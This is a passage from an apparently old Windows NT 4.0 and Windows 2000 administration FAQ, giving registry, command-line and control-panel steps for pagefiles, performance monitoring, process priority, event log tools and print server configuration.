  2. In Microsoft Management Console (MMC) click Add/Remove Snap-in on the Console menu.
  3. Click Add.
  4. Click Group Policy, and then click Add.
  5. Accept the default (which is Local Computer), and then click Finish.
  6. Click Close, and then click OK.
  7. Under Local Computer Policy, expand the User Configuration entry.
  8. Expand the Administrative Templates entry.
  9. Expand the Desktop entry.
  10. Right-click Do not add shares of recently opened documents to My Network Places, and then click Properties.
  11. Click Enabled, and then click OK.

The above works on a local machine, for a domain/site/OU group policy you would open the corresponding Group Policy Object, goto User Configuration\Administrative Templates\Desktop area and make the change.

You can also make the change in the registry by setting HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoRecentDocsNetHood to 1.


Q. Where do I get netdiag.exe and what is it?

A. Netdiag.exe is new to Windows 2000 but is not installed as part of a core installation, instead it is part of the Windows 2000 support tools so to install perform the following:

  1. Insert your Windows 2000 CD
  2. Move to the Support\Tools directory
  3. Run setup.exe

A new program files\support tools folder will be created and populated with the utilities. It is adding to the path variable but any open cmd sessions will need to be closed and restarted to load the new path environment string.

What does it do? Its similar to Network Monitor but not quite as good but run with no options it will run tests on the adapters including domain membership, connection tests:

C:\>netdiag

....................................

Computer Name: CYPHER
DNS Host Name: cypher.savilltech.com
System info : Windows 2000 Professional (Build 2195)
Processor : x86 Family 6 Model 5 Stepping 2, GenuineIntel
List of installed hotfixes :
Q147222
Q253562
Q253934

Netcard queries test . . . . . . . : Passed

Per interface results:

Adapter : Local Area Connection

Netcard queries test . . . : Passed

Host Name. . . . . . . . . : cypher.savilltech.com
IP Address . . . . . . . . : 10.128.80.206
Subnet Mask. . . . . . . . : 255.255.254.0
Default Gateway. . . . . . : 10.128.81.250
Dns Servers. . . . . . . . : 10.128.80.208
10.142.10.2

AutoConfiguration results. . . . . . : Passed

Default gateway test . . . : Passed

NetBT name test. . . . . . : Passed
No remote names have been found.

WINS service test. . . . . : Skipped
There are no WINS servers configured for this interface.

Global results:

Domain membership test . . . . . . : Passed

NetBT transports test. . . . . . . : Passed
List of NetBt transports currently configured:
NetBT_Tcpip_{9C65E63C-5242-45F8-9685-4A6649E92F35}
1 NetBt transport currently configured.

Autonet address test . . . . . . . : Passed

IP loopback ping test. . . . . . . : Passed

Default gateway test . . . . . . . : Passed

NetBT name test. . . . . . . . . . : Passed

Winsock test . . . . . . . . . . . : Passed

DNS test . . . . . . . . . . . . . : Passed

Redir and Browser test . . . . . . : Passed
List of NetBt transports currently bound to the Redir
NetBT_Tcpip_{9C65E63C-5242-45F8-9685-4A6649E92F35}
The redir is bound to 1 NetBt transport.

List of NetBt transports currently bound to the browser
NetBT_Tcpip_{9C65E63C-5242-45F8-9685-4A6649E92F35}
The browser is bound to 1 NetBt transport.

DC discovery test. . . . . . . . . : Passed

DC list test . . . . . . . . . . . : Passed

Trust relationship test. . . . . . : Passed
Secure channel for domain 'SAVILLTECH' is to '\\MORPHEUS'.

Kerberos test. . . . . . . . . . . : Skipped

LDAP test. . . . . . . . . . . . . : Passed
[WARNING] You are logged on as a local user. (CYPHER\Administrator)
Cannot test NTLM Authentication to 'morpheus.savilltech.com'.

Bindings test. . . . . . . . . . . : Passed

WAN configuration test . . . . . . : Skipped
No active remote access connections.

Modem diagnostics test . . . . . . : Passed

IP Security test . . . . . . . . . : Passed
Directory IPSec Policy Active: 'Server (Request Security)'

The command completed successfully

If you run netdiag /? you will see you can run specific tests which may be more pertinent to your problem.


Q. How do I move my pagefile?

A. Follow procedures below:

  1. Start Control Panel, and double click System icon
  2. Click Performance and Virtual Memory Change
  3. Select the current Pagefile disk and change the initial size to 0 and click set
  4. Select a different disk, and change initial size and max size and click set
  5. Click OK and then close
  6. Reboot machine


Q. How big and where should my Pagefile be?

A. Below are things to consider.

  • Do not have 2 pagefiles on the same physical disk.
  • The pagefile should be size of memory +11MB (or 2.5 times size of SAM file, which ever is larger).
  • If possible have multiple page files on separate physical disks
  • There are some performance gains to be had by placing on a stripe set, however not as much as on separate disks.
  • Defragment disk pagefile is on
  • Try and make drive NTFS
  • Minimum pagefile size is 2MB

To enhance performance, one can create a second pagefile on another physical disk. MOVING, however, is never advised, since it disables the option to create a Memory dump file at a crash (System Properties, Startup-tab). In order to be able to dump the RAM content to the pagefile (saved i.e. as MEMORY.DMP), the pagefile MUST be located (as well) on the boot partition.


Q. Users complain server response is slow, but when I use the server everything is fine.

A. It could be the server Screen Saver! The Open GL screen savers (especially the pipes) can use every CPU cycle off the Server. In general you should always use the blank screen saver on a server.


Q. Is there a RAM disk in NT4.0?

A. No. However there is a piece of software which creates a RAM disk. In general the NT cache does a very good job. Microsoft also produced a RAM disk which still works on NT 4.0 called NTRamdsk.

A commercial package SuperDisk-NT is now available from EEC Systems (http://www.eecsys.com/)


Q. How can I monitor disk performance?

A. NT's built in Performance monitor can be used to monitor disk activity, however this is not active by default, and needs to be activated by typing
diskperf -y
from the command prompt. You will then need to reboot, and then disk activity can be viewed using Performance Monitor.


Q. How can I tell if I need a faster CPU?

A. You use Performance Monitor (Start - Programs - Administrative Tools - Performance Monitor) to see how much time the computer is waiting to use the CPU:

  1. Start Performance Monitor
  2. Click the "+" button (if you cannot see a title bar press Ctlr-T)
  3. From the dropdown Object box select System
  4. Select "Processor Queue Length" from the counters
  5. Monitor the system for a typical day of work, and if the counter exceeds 2 then you should consider a faster processor


Q. I need to run a number of 16 bit apps, what is the best way to do this?

A. The best way is to create a shortcut to the 16 bit application, then right click on the shortcut and select properties. Click on the shortcut tab and check the box "Run in separate memory space". This will make the app run in its own VDM (Virtual Dos Machine) with its own memory space. This improves performance and system stability as one 16 bit app can no longer effect another's.

An application can also be forced to run in its own memory space using:
start /separate <application name>


Q. How can I run an Application at a higher priority?

A. It is possible to start an application at a priority other than normal, however if you run applications at high priority THEY may slow performance. Priorities range from 0 to 31, 0 - 15 are used by Dynamic applications, such as user applications and most of the operating system parts, 16-31 are used by real time applications like the kernel which cannot be written to the page file. Normal priority is level 8 (NT 3.51 normal was 7). The full list is

  • realtime, priority 24
  • high, priority 13
  • normal, priority 8
  • low, priority 4
  • abovenormal 10 (Windows 2000 only)
  • belownormal 6 (Windows 2000 only)

To start an application at a priority other than the default use the start command, e.g.

start /<priority> <application>, e.g. start /high winword

To do the same thing from a shortcut just use:

cmd /c start /<priority> <application>

Be warned that if you run applications at high priority may slow performance as other application get less I/O time. To use the /realtime option you have to be logged on as a user with Administrator privileges.

To modify the privilege of a currently running application use Task Manager

  1. Start Task Manager (Right Click on the Start Bar and select Task Manager)
  2. Click on the Processes tab
  3. Right Click on the required process and select "Set Priority"
  4. You can then select a different priority
  5. Close Task Manager

It is also possible to increase the priority of whichever application is currently in the foreground, as opposed to the background processes.

  1. Start the System Control Panel Applet (Start - Settings - Control Panel - System)
  2. Click the Performance tab
  3. In the Application Performance tab move the arrow
    - None - The foreground application runs the same as background applications (quantum value of 6)
    - Middle - The foreground application has its priority increased to a quantum value of 12, background applications stay the same.
    - Maximum - The foreground application has its priority increased to 18, background applications stay the same.


Q. How can I monitor processes that start after I start the Performance monitor?

A. If you are running performance monitor in log mode, after the log is closed and you wish to view certain processes in the drop down list you only see processes that were running at the time you started the log. This is not true :-)

  1. Start Performance Monitor (Start - Programs - Administrative Tools - Performance Monitor)
  2. Select Log View (View - Log or Ctrl-L)
  3. Add to the log the objects you wish to monitor (Edit - Add to Log), including "Process", when finished click Done
  4. From the Options menu select Log and enter a file name, a period of time and click "Start Log"
  5. When you have logged enough, switch to Performance Monitor and from Options menu select Log, select "Stop Log"
  6. Move to Chart view (View - Chart, or Ctrl+C)
  7. Load in the log you created by selecting Options - Data From , and selecting the file and click OK
  8. From the Edit menu, select Add and add the counters you wish to see, you will notice that under processes, the instances are only those running when you started, don't worry.
  9. There will probably be an area you wish to investigate, such as a spike in CPU use, disk I/O. Alter the time window to start from the peak
    - From the Edit menu, select Time Window
    - Move the left hand bar till the left line is in the correct place on the chart, i.e. the spike
    - Click OK
  10. Now from the Edit menu, and select Add, under processes there will now be processes that were running at THIS point allowing you to diagnose the problem process, you can also now put the time window back to normal and this process will still show

What this means is the instances shown are only those running at the start of the time window, so to add other processes running at other times, you may need to continue moving the start of the time window.


Q. How can I view information in the Event Log from the command line?

A. A utility called DUMPEL.EXE is supplied with the Windows NT Resource Kit which outputs a comma or tab separated file. It allows the events from all 3 logs to be dumped on the local or remote computer. For full information see the NT Resource Kit Tools help however below is the basic syntax.

dumpel -f <filename for output> [-s \\<servername>] [-l <which log, e.g. system, application,security>] -c
e.g., dumpel -f applog.txt -l application -c

This would dump out the application log as a comma separated file (alternatively use -t instead of -c for a tab separated file).

Another useful switch is -e <event> which allows you to only output a given event, e.g.

dumpel -f winlogon.txt -l application -c -m "winlogon"

Would display all information re winlogon (you don't need the quotes if the event is one word).

Another application is NTLast which can be downloaded from http://www.ntobjectives.com. This utility does two major things that event viewer does not. It can distinguish remote/interactive logons and it matches logon times with logoff times. Example uses:

ntlast - gets a default list of last 10 successful logons against local machine
ntlast /f - gets last 10 failed logon attempts
ntlast /f /i - gets last 10 failed interactive logon attempts
ntlast /f /r - gets last 10 failed remote logon attempts
ntlast /i - gets last 10 successful logons
ntlast /r - gets last 10 successful remote logons
ntlast /n 6 - gets last 6 logons

And most useful
ntlast /m machinename /f /r - gets last 10 failed remote attempts against machinename


Q. Is there anything to help diagnose performance problems?

A. You can use the Excel Macro Perfmon.xla. Perfmon.xla can be downloaded from http://www.ntfaq.com/ntfaq/download/perfmon.zip. Use the macro as follows:

  1. Start Performance Monitor (Start - Programs - Administrative Tools (Common) - Performance Monitor)
  2. Move into Chart Mode (Select Chart from the View menu or press Ctrl-C)
  3. Add the following Counters
    - Memory-Pages/sec
    - Memory-Available Bytes
    - PhysicalDisk-% Disk Time
    - PhysicalDisk-Current Disk Queue Length
    - Processor-% Processor Time
    - Processor-Interrupts/sec
    - System-Processor Queue Length
    These are added by selecting "Add to Chart" from the Edit menu (or click the big + on the toolbar). The first part, e.g. Memory is the Object, and the second part is the Counter. Click Done when all are added
  4. Let the monitor run for a while and perform your normal day-to-day operations.
  5. Once it has run for a while select "Export Chart" from the file menu. In the "Save as type", select "Export CSV Files (*.csv)" and enter a name (it will add .csv for you). Click Save
  6. Exit Performance Monitor
  7. Start Excel and open a new blank spreadsheet.
  8. Select Open from the File menu. Select "Files of type" "Add-Ins" and move to the directory you extracted perfmon.xla to. Select perfmon.xla and click Open.
  9. Select Open from the Planning menu. Move to the directory you saved the file in step 5, select the file and click Open.
  10. Select Bottlenecks from the Planning menu and it will give a list of possible bottlenecks. Selecting one will give more detail in the Suggestions area. Click OK when you are finished.
  11. You can also create a chart by selecting "Create Chart" from the Planning menu, select the counters you want to show on the chart and click OK.

This macro is only basic, but it may give you some starting points to investigate and automates the line of thinking you should be following.


Q. Is there anyway to output performance logs directly to a comma separated file?

A. The Windows NT Resource Kit ships with the PerfLog service which can output data directly to a file in with comma or tab separated format. To install perform the following:

  1. Copy the files below from the NT resource kit installation dir\PerfTool\LogTools to the %systemroot%\system32
    - pdlcnfig.exe
    - pdh.dll
    - pdlsvc.exe
    - perflog.hlp
    - perflog.cnt
  2. Run the pdlcnfig executable to install the service
  3. Click OK to install the service
  4. The Performance Data Log Service dislaog box will be displayed with 2 tabs allowing Counters to be added and the location of the file to be output to.

To start the service select from the Services control panel applet and click start. You can also start from the command prompt using

C:\>net start "performance data log"

To change the config at a later time just rerun the PDLCNFIG.EXE image.


Q. How can I control the amount of memory NT uses for file caching?

A. Windows NT does not allow much tuning of caching except for one registry entry.

  1. Start the registry editor (regedit.exe)
  2. Move to HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\ Session Manager\Memory Management
  3. Double click on LargeSystemCache and set to 0 to reduce the amount of memory used for file caching.
  4. Click OK
  5. Close the registry editor

If you start the Network control panel applet and select the Services tab you can select Server and click Properties. Select "Maximize Throughput for Network Applications" to use less memory (this actually sets LargeSystemCache to 0).

System internals have released CacheSet (http://www.sysinternals.com) which allows you to more specifically set memory used for caching.


Q. How can I stop Windows NT System Code and Drivers being paged?

A. Normally User-mode & kernel-mode drivers and kernel-mode system code is written to either pageable or non-pageable memory. It is possible to configure NT never to page out drivers and system code to the pagefile that are in the pageable memory area however this should only be done on systems with large amounts of RAM or severe performance problems could develop.

  1. Start the registry editor
  2. Move to HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\Memory Management
  3. Double click on DisablePagingExecutive and set to 1. Click OK (it is of type DWORD so create if it does not exist)
  4. Reboot the machine


Q. How can I change the size of the pagefile?

A. We have previously discussed moving the pagefile (see Q. How do I move my pagefile? ), however it may be you just need to modify the size of an existing pagefile or add a new one as an addition to your existing one. Remember the more disk heads, the better performance so moving your page file to a RAID 0 disk arrangement would give excellent performance (RAID 0 is a stripe set without parity), while writing to a RAID 5 disk may adversely affect performance due to the extra parity information that needs to be written (RAID 5 is a stripe set with parity). There is little point adding a second pagefile to another partition if it is on the same physical disk, it would be better to just increase the size of the existing file, however 2 smaller pagefiles on different physical disks will give better results.

  1. Start the System Control panel applet (start - settings - control panel - system)
  2. Click the Performance tab
  3. Under the Virtual Memory section it will tell the currently configured amount. Click Change.
  4. A list of all partitions and the size of any pagefiles that exist will be listed next to them. To modify the size of an existing pagefile select the drive, e.g. c: and in the "Paging File Size for Selected Drive" enter a new Initial and Maximum size. Click Set when you have changed the values. The minimum size is 2MB but the total size of all pagefiles should be at least the size of memory + 11MB.
  5. If you want to add an additional page file, select a drive that does not currently have a pagefile, e.g. d:, enter an initial and maximum and then click Set.
  6. Once you have completed all changes click OK.
  7. Click OK to the System control panel applet
  8. You will have to reboot the machine for the change to take effect.

Modify the pagefile


Q. How can I remotely change the size of a pagefile?

A. Pagefile information is stored in the registry as a multi_string (so you HAVE to use regedt32.exe) and can be changed locally as follows:

  1. Start the registry editor (regedt32.exe)
  2. Move to HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\Memory Management
  3. Double click PagingFiles
  4. There is one line for each page file, the format is
    <location> <initial size> <maximum size>
    e.g.
    C:\pagefile.sys 120 140
  5. Click OK
  6. Close the registry editor
  7. Reboot the machine

To change on another machine you should use the resource kit REG.EXE utility but the command below will replace the current page file and will NOT check you have enough disk space so you may want to create a script that does check. Make sure the machine is rebooted after the change.

C:\> reg update "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\Memory Management\PagingFiles"="<location> <initial size> <max size>" \\<remote machine>

For example:

C:\> reg update "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\Memory Management\PagingFiles"="C:\pagefile.sys 120 140" \\titanic.savilltech.com

Make sure you test this before trying to use on live machines.


Q. Performance Monitor is not listing all possible objects and counters.

A. If when trying to add a counter and the list of objects and counters is incomplete or blank the problem could be the data files that hold the list has become corrupted.

Under registry key HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Perflib is a key identifying the language of the system, e.g. 009 for U.S. English. Performance monitor will only list that counters for the selected language ID (this can be changed via control panel)

To resolve the problem restore the files PERFC<country code>.DAT and PERFH<country code>.DAT (e.g. perfc009.dat and perfh009.dat for U.S. English) from the installation CD to the %systemroot%\system32 directory


Q. How do I enable disk counters in Performance Monitor in Windows 2000?

A. In Windows NT 4.0 all disk counters are disabled by default but it is slightly different in Windows 2000.

In Windows 2000 the physical disk object is turned on by default which the logical disk object is turned off by default.

To enable the logical disk objects enter the command

C:\>diskperf -yv

Both Logical and Physical Disk Performance counters on this system
are now set to start at boot.

To disable all disk counters use the

C:\> diskperf -n

command. The full options are:

DISKPERF [-Y[D|V] | -N[D|V]] [\\computername]

-Y Sets the system to start all disk performance counters when you restart the computer.
-YD Enables the disk performance counters for physical drives when you restart the computer.
-YV Enables the disk performance counters for logical drives or storage volumes when you restart the computer.
-N Sets the system to disable all disk performance counters when you restart the computer.
-ND Disables the disk performance counters for physical drives.
-NV Disables the disk performance counters for logical drives.


Q. How do I create a queue to a Network Printer?

A. If you have a printer that has its own network card and IP address, you can create a queue to the device by following the instructions below

  1. Login as a member of the Administrators Group
  2. Start Control Panel (Start - Settings - Control Panel)
  3. Double Click Network, and select the Services tab
  4. Click Add, and select "Microsoft TCP/IP printing"
  5. Click OK and then Close
  6. Click "Yes" to the reboot
  7. After the machine has booted up Double Click "My Computer" (or what you have named it to, you have renamed it!)
  8. Double click Printers, and select Add Printer
  9. Select the Printer is a local printer, and then continue
  10. Click Add Port, and select "LPR port"
  11. Click New Port and fill in the IP address of the printer in the top box, and a name in the bottom box
  12. Click OK, and ignore the error about not being able to communicate
  13. Click Next and then select the printer driver
  14. Click Next and select if you want to share it, and then click Finish
  15. Print and be happy


Q. How do I delete a network port (e.g. LPT3:)?

A. Network ports are defined in the registry at HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Ports. Select the port you wish to delete and from Edit Menu select Delete.

You can also delete from the command line
net use lpt3: /del


Q. How do I configure my print jobs to wait until out of hours?

A. If you have large print jobs that you would rather run out of hours it is possible to configure usage hours on a print queue:

  1. Select My Computer
  2. Select Printers
  3. Right click on your printer and select properties
  4. Click the Scheduling tab and at the top in the Available section enter a From and a To time, e.g. 18:00 - 08:30
  5. Click OK to save your changes

Jobs submitted to this print queue will now only be printed between the hours specified. If you wanted some jobs to be printed straight away you should define 2 queues, one for overnight, one for all hours.


Q. How can I disable the Printer PopUp message?

A. Start the Registry editor, and change KHEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Print\Providers and set the entry NetPopup to 0. You should then reboot Windows (however stopping and restarting the print spooler will suffice). If the printer is on an NT server, than this setting needs to be set on the Server which controls the print queue.

This can also be done from the Printers Control applet

  1. Start the Printer control applet (Start - Settings - Printers)
  2. From the File menu select "Server Properties"
  3. Select the Advanced tab
  4. Uncheck the "Notify when remote documents are printer"
  5. Click OK
  6. Reboot the computer


Q. How do I change the Print Spool location?

A. Using the registry editor change the value HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Print\Printers\DefaultSpoolDirectory by double clicking on it and set it to the required area. This will change the print spool area for all printers, to change the print spool for only one printer move down to a printer key and create a value of type REG_SZ called SpoolDirectory and set this as where the spool files should be.


Q. How do I enable Print Auditing?

A. If you need to check what is being printed, then you can enable Print Auditing:

  1. Double Click on My Computer, then double click Printers
  2. Right click on the desired printer and select Properties
  3. Click on the Security Tab
  4. Select Auditing and click the Add button, you will be prompted with an Add Users and Groups dialog box
  5. Select the Users/Groups who you want to Audit for the Printer and click Add
  6. Once finished click the OK button and in the Printer Auditing main dialog select the events to Audit, i.e. Print, Delete.

Print events will now be sent to the Security log which can be read from the Event Viewer (Start - Programs - Administrative Tools).

If you experience problems with events not being audited try enabling File and Object Access as well.


Q. How do I enable drag and drop printing?

A. To enable drag and drop printing, all you have to do is create a shortcut to the printer on your desktop

  1. Double click on My Computer
  2. Double click Printers
  3. Right click on the printer, and drag to the desktop. Release and select "create shortcut here"

You can then just drag files over the printer and they will be printed (providing they are registered file types that NT knows how to print)


Q. How do I configure a Print Separator Page?

A. A printer separator page is configured by creating a text file using a number of special control codes. The basic format of the separator page is as follows

$ ---- this can be any character, and must be the first character on the first line. Choose a character not normally used to be the control character, in this case $
$LUser Name $N ---- $L is used to display normal test until another code is found, $N displayed the username
$L, Job Number $I ---- $I displays the job number
$E ---- $E means end of page

Other characters you can use are

$B$S ---- Turn on block character printing
$D ---- Data job printer
$F<filename> ---- A file to print
$H ---- Printer specific control code
$x ---- Where x is a number of blank lines to print
$T ---- Time job was printed
$U ---- Turns off block character printing
$Wxx ---- Width of the separator page

To configure the printer to use the separator file:

  1. Start the Printer Control Panel Applet (Start - Settings - Printers)
  2. Right Click on a printer and select Properties
  3. Click the "Separator Page" button
  4. Enter the path and file name of the separator page file and click OK
  5. Click OK again to exit the Printer Setup


Q. How can I restrict which users can install local printer drivers?

A. It is possible to restrict print driver installation so that only Administrators and Print operators (on a server) or Power Users (on a workstation) can install local printer drivers

  1. Start the registry editor (regedit.exe)
  2. Move to HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Print\Providers\LanMan Print Services\Servers
  3. From the Edit menu select New - DWORD Value. Enter a name of AddPrinterDrivers and click OK
  4. Double click on the value and set to 1. Click OK
  5. Close the registry editor
  6. Reboot the machine


Q. How many printers can be on one NT Server?

A. You are only limited by how large the registry grows. I know of sites with 990 print queues, all lpr, on one NT server with no performance problems - NTS 4.0/SP3 dual P200 Pro, 256MB, FDDI.

There are some variables, but each queue adds about 30-35 KB to the registry. By periodically eliminating the wasted space and removing LastKnownGood as above, the limit is probably somewhere around 3500. I would expect performance to be a problem before this limit is hit.


Q. How can I print to an ascii text file?

A. A print driver "Generic/Text only" exists, which can be used with the file output ability as its default.

  1. Start the Printer Control Applet (Start - Settings - Printers)
  2. Start the Add Printer Wizard (click Add Printer)
  3. Select "My Computer" and click Next
  4. Under Ports check File: and click Next
  5. Under Manufacturers select Generic and select "Generic / Text Only" as the Printer. Click Next
  6. Enter a printer name and if you want it as the default printer or not. Click Next
  7. Select "Not shared" and click Next
  8. Select No to print a test page, click Finish
  9. Insert your NT installation CD-ROM and click OK

To use the ascii print driver go into your application and print, select the "Generic / Text Only" printer and click OK. A dialog will be displayed. Enter the file name you want the output to and click OK. You will now be able to view the file using Notepad or the like.


Q. How do I set security on a printer?

A. There are various levels of security you can set on a printer.

No Access - User may not print to the device
Print - User may print to the device and pause,resume and delete their own jobs
Manage Documents - Enables the user to change the status of ANY print job submitted by any user. The user may not change the status of the printer
Full - Enables complete access and administrative control of the printer

By default all users have Print access (the Everyone group) and also the "CREATOR OWNER" name has "Manage Documents" access. Creator Owner is the user that printed the document which means users have the ability to delete their own entries on the print queue.

To change print permissions perform the following:

  1. Double click on "My Computer"
  2. Double click on Printers
  3. Right click the printer whose permissions you wish to change and select Properties
  4. Select the Security tab
  5. Click the Permissions tab
  6. You can now set permissions for users


Q. I get the error "The print processor is unknown" when installing a printer.

A. There are 2 causes for this.

  1. The default print processor winprint.dll is missing from the directory %systemroot%\system32\Spool\Prtprocs\W32x86
  2. The Winprint key in the registry is missing or corrupt

If the winprint.dll is not found you should expand Winprint.dl_ from your Windows NT installation CD using the EXPAND command

expand -r <cd-rom drive>:\i386\winprint.dl_ %systemroot%\system32\spool\prtprocs\w32x86

If the file is there then you need to check the registry

  1. Start the registry editor (regedit.exe)
  2. Move to HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Print\Environments\Windows NT x86\Print Processors
  3. If the winprint key exists goto step 4. If it does not exist from the Edit menu, select New -Key, and enter a name of winprint
  4. Under winprint check for a value called Driver. If this does not exist from the Edit menu, select New - String Value and enter a name of Driver.
  5. Driver should have a value of winprint.dll. If it does not, double click on Driver and set to winprint.dll. Click OK
  6. Close the registry editor
  7. You should now restart the computer


Q. Where in the registry is the default printer set?

A. The default printer is set on a per user basis and so is part of the HKEY_USERS hive. To view the default printer for the currently logged on user view the

HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows\Device

value. It is of the format "\\LN014\LN.S651.CSP001.HPLJ5,winspool,Ne01:", where the first part is the actual printer share, then the spooler and finally the connection, e.g. network or parallel port.

To view a different user or view remotely you would view HKEY_USERS\<SID of user>\Software\Microsoft\Windows NT\CurrentVersion\Windows\Device. To check which user has which SID see Q. How can I tell which User has which SID?

If no default printer is manually defined then the first printer alphabetically will be set as the default.


Q. When I try to print to a parallel device (lpt1) I receive error: System could not find the file.

A. This is usually caused by the parallel service not running. To check/fix perform the following:

  1. Start the registry editor (regedit.exe)
  2. Move to HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Parallel
  3. Double click on Start
  4. If the value is 0 it means the service will start to early in the bootup so change this to 2 and click OK
  5. Close the registry editor
  6. Reboot the machine

If you still have problems also check the Parport and ParVdm services under HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\ as theses are also needed for parallel printing.

Another cause for this error is if LPT1 is disabled via the system BIOS so you should also check this.


Q. How can I allow members of the Printer Operators group to Add Printers?

A. While members of the Print Operators group can stop and restart the Print Spooler, modify jobs and other admin functions they cannot add or modify the actual printers. This can be changed by performing the following:

  1. Start the registry editor (regedt32.exe, not regedit.exe)
  2. Move to HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Print\Monitors
  3. From the Security menu select Permissions
  4. Click the Add button
  5. Select "Printer Operators" and give them Full Control access. Click OK
  6. Close the registry editor

Stop and start the machine for the change to take effect. Alternatively just stop and start the print spool service,

C:\> net stop spooler
C:\> net start spooler


Q. How can I configure NT as a print server for UNIX systems?

A. The Windows NT Server that will be acting as the print service must have the following:

  • TCP/IP installed
  • "Microsoft TCP/IP Printing" service installed (Start - Settings - Control Panel - Network - Services tab - Add - Microsoft TCP/IP Printing)
  • TCP/IP Print server service must be set to start automatically (Start - Settings - Control Panel - Services - TCP/IP Print Server - Startup - Automatic)

Once all of this is completed it is necessary to add a registry key as for UNIX to successfully pass data to an NT server the data type must be set to RAW.

  1. Start the registry editor (regedit.exe)
  2. Move to HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\LPDSVC\Parameters
  3. From the Edit menu select New - DWORD value
  4. Enter a name of SimulatePassThrough and press Enter
  5. Double click the new value and set to 1. Click OK
  6. Close the registry editor

The default value for SimulatePassThrough is 0, which informs LPD to assign data types according to the control commands.

You should now shutdown and restart the server. Once the start has completed the NT box will be able to accept UNIX print jobs. At the UNIX end you would need to use the following commands (example only for SCO Open Server 5).

  1. The command below only needs to be entered once by technical staff
    # mkdev rlp
  2. You can then add a remote printer via SCOADMIN Printers for ordinary use

On the SVR system you would use.

  1. The command below only needs to be entered once by technical staff
    # /usr/sbin/lpsystem -t bsd -R 1 -T 1 <remote system>
  2. The final stage is to actually configure the link to the NT printer
    # lpadmin -p <local printer> -s<remote NT system>!<NT printer name>
    # enable <local printer>
    # accept <local printer>

An example would be NT server name SAVPDC and print HP4SI the unix command would be

# lpadmin -p p0 -sSAVPDC!HP4SI

Thanks to Steven Vobes for this Unix information


Q. How can I audit the no. of pages printed by any particular user on an NT network?

A. If you only need basic information for NT-based workstations, you can extract this from the print server's event log. The event log will record each job, including the page count. However, the page count is always 0 for Win98, Win95, Win3.x and non-Windows workstations, as well as for print jobs from console or MS-DOS applications -- and it does not take into account the number of copies requested by the user.

To enable the auditing of prints perform the following:

  1. Start the Printers Start menu options (Start - Settings - Printers)
  2. From the File menu select "Server Properties"
  3. Click the Advanced tab
  4. Check the "Log spooler information events" box and click OK
  5. You will need to restart the server for the auditing to start (or stop and start the print spool service)

Once auditing is enabled they can be viewed using the Event Viewer application, System Log. To view only print logs select "Filter Events" from the view menu and set the Source to Print. Each print job will be logged with its size in bytes and number of pages.

If you need to have accurate page counts, you will need to purchase a third-party package for monitoring and managing the printing activities. One such package is Printer Accounting Server from Software Metrics (http://www.metrics.com/); it works with a wide variety of printer types and network connections to accurately track the printing.


Q. How do I create a custom page size for a printer?

A. Custom size pages can be useful in a number of scenerios and the information below helps you to create one.

  1. Start the Printer control applet (Start - Settings - Printer)
  2. Select Add Printer - Click only once, not double click. (You don't add printer, only activate icon. (also you need Administrator rights))
  3. From the File menu select "Server Properties" (Print server properties)
  4. Forms tab
  5. Click "Create a New Form" and add information that you want
  6. Click OK


Q. The additonal NetBIOS name of my server does not work for print services.

Q. The additional NetBIOS name of my server does not work for print services.

A. It is possible to specify multiple NetBIOS names for a single machine as described in 'Q. How can I define multiple NetBIOS names for a machine?' however a bug in Windows NT 4.0 means only the MAIN NetBIOS name is used for print services.

When trying to connect to a printer hosted by an NT server from a client the error:

"Could not connect to printer: The printer name is invalid. "

will be displayed if the server name you are using is one of the servers Optional NetBIOS names.

To workaround this always make sure the 'printers' NetBIOS name is always the machines main NetBIOS name.

For more information see http://support.microsoft.com/support/kb/articles/q187/3/32.asp.


Q. How can I stop print jobs writing to the System Log?

A. By default, Windows NT and Windows NT Advanced Server log every print job processed by the server in the System Log.

To stop this perform the following:

  1. Select Printers from the Settings Start menu folder (Start - Settings - Printers)
  2. From the File menu select Server Properties
  3. Select the Advanced Tab
  4. You can then select the events to log:
    - Log spooler error events
    - Log spooler warning events
    - Log spooler information events
  5. You have to restart the computer for the change to take effect.

Setting these values actually updates the registry entry HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Print\Providers\EventLog which is a DWORD value. Each option has a value

Log spooler error events is 1
Log spooler warning events is 2
Log spooler information events is 4

You then add these numbers up for the combination you want, for example:

A value of 7 means log information, error and warning events.

A value of 3 means only log error and warning events.

You have probably noticed the 1, 2 and 4 is because it is just setting the relevant bit in the DWORD, so bit 1 is error, bit 2 warning and bit 3 information.


Q. How do I create a queue to a Network Printer in Windows 2000?

A. If you have a printer that has its own network card and IP address such as a HP JetDirect card, you can create a queue to the device by following the instructions below

  1. Login as a member of the Administrators Group
  2. From the Start menu select Settings - Printers
  3. Double click 'Add Printer'
  4. Click Next to the Add Printer wizard introduction screen
  5. Select 'Local printer' and uncheck 'Automatically detect my printer'. Click Next
  6. The next screen asks for the port. Select 'Create a new port:' and select 'Standard TCP/IP Port'. Click Next
  7. The TCP/IP printer wizard will be started. Click Next
  8. Enter the IP address or DNS name of the printer (by default the port name will be IP_<IP/DNS name>). Click Next
  9. Click Finish to the port creation
  10. You will have to select the printer make and model. Click Next
  11. Enter a name for the printer (a default name will be displayed). Click Next
  12. Select to share the printer and a name for the share. Click Next
  13. Enter a Location of the printer and a comment (this is useful for people searching for printers using the Active Directory). Click Next
  14. Select to print a test page and if you want to install additional drivers for other clients (such as Windows 98). Click Next
  15. A summary will be shown. Click Finish

